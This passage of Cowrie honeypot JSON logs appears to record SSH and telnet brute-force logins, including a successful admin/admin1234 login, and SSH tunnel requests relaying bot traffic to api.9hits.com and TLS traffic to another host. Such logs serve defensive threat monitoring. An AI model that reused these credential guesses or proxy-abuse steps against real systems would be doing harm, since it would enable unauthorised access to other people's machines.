0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:29.020605Z","src_ip":"123.27.168.40","session":"1e1bd58e1ea7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:30.117692Z","src_ip":"123.27.168.40","session":"1e1bd58e1ea7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:30.487155Z","session":"1e1bd58e1ea7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:30.592074Z","session":"1e1bd58e1ea7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:31.043093Z","src_ip":"123.27.168.40","session":"1e1bd58e1ea7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.1.2; AOSP on r33a6 Build/NHG47L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=YmZFUWt%2BcWMkRU43fjhhaQ%3D%3Drw%2FWBMgxSeEzoQAt31GZsd%2FQMM0T4mrwd3ZiiL7t7FvTGLfInsXsylj9zrx1G0nw1G0g08m7IKrX2v%2F3tezZqB0wr9aKPbVZzTkGb4caikOMvT2tLwglGrCmocLxPxQ4XfiFoU5XK1zozXti%2BbWouWQ8sC8AFgC5OjIm08RMOxjNKW%2Bvh2W2n8n40Lx9NxDGEmlYLyOSXlXI5JtXkd6hi9S%2BQ1IHNCLfZ4czZI1%2F5v9b2j9gd2E6DgusepkQDJbnWTygwkkLbvBSj%2FTgRBlOadi4RZTMcxobuxXL74DHGGiU%2BT6E7lj44ZbOx3hV1fuh2NWTvb8wS6e%2B1ywyj92XUTJbfSyCd5usxnF8%2BvEYPB9bSGKuuElNhEuajSqd8E7emU0ituUuxtCUvrfcw1XM31dWlmC4S5%2BUQLeKmqJ5gGxawWp%2FoqyCUHdrmL27fjRZdvUHvpH%2BC7i78v0BQQ%2F%2Baeh45A8WAecpImH6Wa7FI4MO1gS05gNJhU%2FdMTR2SgJrEb%2FxPduU0znTBlRNwXMe6jZxkZbOjKE32%2BWi2ZsMZC6vOeV8VwFO%2B9i5F52DP2omvnnwijjObjuzv521jhsvccUPXArIEuud8OOMAJ9bH2V0MO%2BtQTqy6MryGcdSoTz4TvlHcs9ys0OmrA8XC4OjG5jiPtB1Qlh3OqXgI0odvZoR2IVxK34Bb6%2F8FXl2SwbyN2qNrGNS%2FG9Gz6qs7NCrb%2FVN3BeJY6DZ%2FwxjnAgSEx7hu980tsIkoOZs%2FR4oKUd0Ua70TW6LZAIPUz2v8%2FK2LKKr7nFNPpgXH4ey2bNURpurWSDeWXyAxqHjHJIgzg2tHskouI2iHcnlP7HPu1brtR%2FahxmR5zrKFOmtTGJxwZK3APagrNxKvRlpqY61BNzC8eN%2FUSpgxq5GSUEg5yPR9QypPsORkd6onNOfcGk9yRPJL7fHXAAbBik478xiVM%2BFIRMxkJow7xYN1vR7EGN0BLYjE400WuKnLVkEEqaL0mXtPaQ9MJ6DKiE2B7LBF41lCkYZGjpw82vTj4d1Z%2FHTS%2F0G7JsEkrIlZvFRAK0eSzU%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.1.2; AOSP on r33a6 Build/NHG47L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=YmZFUWt%2BcWMkRU43fjhhaQ%3D%3Drw%2FWBMgxSeEzoQAt31GZsd%2FQMM0T4mrwd3ZiiL7t7FvTGLfInsXsylj9zrx1G0nw1G0g08m7IKrX2v%2F3tezZqB0wr9aKPbVZzTkGb4caikOMvT2tLwglGrCmocLxPxQ4XfiFoU5XK1zozXti%2BbWouWQ8sC8AFgC5OjIm08RMOxjNKW%2Bvh2W2n8n40Lx9NxDGEmlYLyOSXlXI5JtXkd6hi9S%2BQ1IHNCLfZ4czZI1%2F5v9b2j9gd2E6DgusepkQDJbnWTygwkkLbvBSj%2FTgRBlOadi4RZTMcxobuxXL74DHGGiU%2BT6E7lj44ZbOx3hV1fuh2NWTvb8wS6e%2B1ywyj92XUTJbfSyCd5usxnF8%2BvEYPB9bSGKuuElNhEuajSqd8E7emU0ituUuxtCUvrfcw1XM31dWlmC4S5%2BUQLeKmqJ5gGxawWp%2FoqyCUHdrmL27fjRZdvUHvpH%2BC7i78v0BQQ%2F%2Baeh45A8WAecpImH6Wa7FI4MO1gS05gNJhU%2FdMTR2SgJrEb%2FxPduU0znTBlRNwXMe6jZxkZbOjKE32%2BWi2ZsMZC6vOeV8VwFO%2B9i5F52DP2omvnnwijjObjuzv521jhsvccUPXArIEuud8OOMAJ9bH2V0MO%2BtQTqy6MryGcdSoTz4TvlHcs9ys0OmrA8XC4OjG5jiPtB1Qlh3OqXgI0odvZoR2IVxK34Bb6%2F8FXl2SwbyN2qNrGNS%2FG9Gz6qs7NCrb%2FVN3BeJY6DZ%2FwxjnAgSEx7hu980tsIkoOZs%2FR4oKUd0Ua70TW6LZAIPUz2v8%2FK2LKKr7nFNPpgXH4ey2bNURpurWSDeWXyAxqHjHJIgzg2tHskouI2iHcnlP7HPu1brtR%2FahxmR5zrKFOmtTGJxwZK3APagrNxKvRlpqY61BNzC8eN%2FUSpgxq5GSUEg5yPR9QypPsORkd6onNOfcGk9yRPJL7fHXAAbBik478xiVM%2BFIRMxkJow7xYN1vR7EGN0BLYjE400WuKnLVkEEqaL0mXtPaQ9MJ6DKiE2B7LBF41lCkYZGjpw82vTj4d1Z%2FHTS%2F0G7JsEkrIlZvFRAK0eSzU%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:31.046438Z","src_ip":"123.27.168.40","session":"1e1bd58e1ea7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:31.052698Z","src_ip":"123.27.168.40","session":"1e1bd58e1ea7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfb\\xb5q\\xb7\\xa7h\\xdc \\xa5[\\xf3\\x08\\xe4\\xe9\\x165\\x99&k/\\x1a\\xac\\xf6\\xd2\\x06\\xa6\"\\x85P\\xc1\\x90\\xa5 <q\\xbb\\x11\\x16\\xe2\\x7f\\'\"\\xc9bkx\\x94\\x1a\\xa5\\xc7=(\\xf3Y\\xeb>\\xddKb\\xc6;\\xcaG\\xcb\\x8b\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x00z\\x10\\xd6\\x17+\\x84\\xfc\\xaf&\\x07\\xed\\xde\\x89V\\x86\\xbe\\xa3\\xea\\xdb~Hf\\xac\\x86\\xc4\\xdf\\\\\\xc6ze\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfb\\xb5q\\xb7\\xa7h\\xdc \\xa5[\\xf3\\x08\\xe4\\xe9\\x165\\x99&k/\\x1a\\xac\\xf6\\xd2\\x06\\xa6\"\\x85P\\xc1\\x90\\xa5 <q\\xbb\\x11\\x16\\xe2\\x7f\\'\"\\xc9bkx\\x94\\x1a\\xa5\\xc7=(\\xf3Y\\xeb>\\xddKb\\xc6;\\xcaG\\xcb\\x8b\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x00z\\x10\\xd6\\x17+\\x84\\xfc\\xaf&\\x07\\xed\\xde\\x89V\\x86\\xbe\\xa3\\xea\\xdb~Hf\\xac\\x86\\xc4\\xdf\\\\\\xc6ze\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:31.055757Z","src_ip":"123.27.168.40","session":"1e1bd58e1ea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.95093083381653,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:31.262105Z","src_ip":"172.81.62.90","session":"93b1496e2f68","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:31.311787Z","session":"1e1bd58e1ea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.0674512386322,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:31.504796Z","src_ip":"50.65.170.8","session":"134f0b7d333e","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:31.562045Z","src_ip":"123.27.168.40","session":"1e1bd58e1ea7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x031\\xf9\\x1b\\xfb\\x14\\xf9\\x96\\xeb\\x02i\\xda\\xffp\\x8e\\xba\\xb0\\xe0\\xbc\\xce\\x9c\\x08\\xe8\\x08S\\x15\\x07\\x8f1e\\x9b3w \\xc0\\xc2w\\x8f\\xf3\\xb1\\xec\\xb1$m\\xfa~\\x19g\\x81\\xae\\x8a\\xc2\\x9f\\x1c\\x9d\\xf6G>:\\x19\\x00\\x10@\\xe20e\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbeM(\\xcb>!\\xd8B\\x80L\\xbb\\x1bH\\x7f\\xac\\xcb\\x16b \\xd8bK\\x81\\xfc\\xb7\\xd1\\x9b3U\\x9f\\xb25\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x031\\xf9\\x1b\\xfb\\x14\\xf9\\x96\\xeb\\x02i\\xda\\xffp\\x8e\\xba\\xb0\\xe0\\xbc\\xce\\x9c\\x08\\xe8\\x08S\\x15\\x07\\x8f1e\\x9b3w \\xc0\\xc2w\\x8f\\xf3\\xb1\\xec\\xb1$m\\xfa~\\x19g\\x81\\xae\\x8a\\xc2\\x9f\\x1c\\x9d\\xf6G>:\\x19\\x00\\x10@\\xe20e\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbeM(\\xcb>!\\xd8B\\x80L\\xbb\\x1bH\\x7f\\xac\\xcb\\x16b \\xd8bK\\x81\\xfc\\xb7\\xd1\\x9b3U\\x9f\\xb25\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:31.566982Z","src_ip":"123.27.168.40","session":"1e1bd58e1ea7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":41036,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ec8bf38d1f0","protocol":"telnet","message":"New connection: 172.81.62.90:41036 (159.203.135.109:23) [session: 2ec8bf38d1f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:31.940892Z"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:31.964123Z","src_ip":"123.27.168.40","session":"1e1bd58e1ea7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":20675,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b25da687ec8","protocol":"ssh","message":"New connection: 49.247.37.22:20675 (159.203.135.109:22) [session: 7b25da687ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:32.269944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:32.273941Z","src_ip":"49.247.37.22","session":"7b25da687ec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:32.482971Z","src_ip":"49.247.37.22","session":"7b25da687ec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"develop","password":"develop@2025","message":"login attempt [develop/develop@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:33.384630Z","src_ip":"49.247.37.22","session":"7b25da687ec8","protocol":"ssh"}
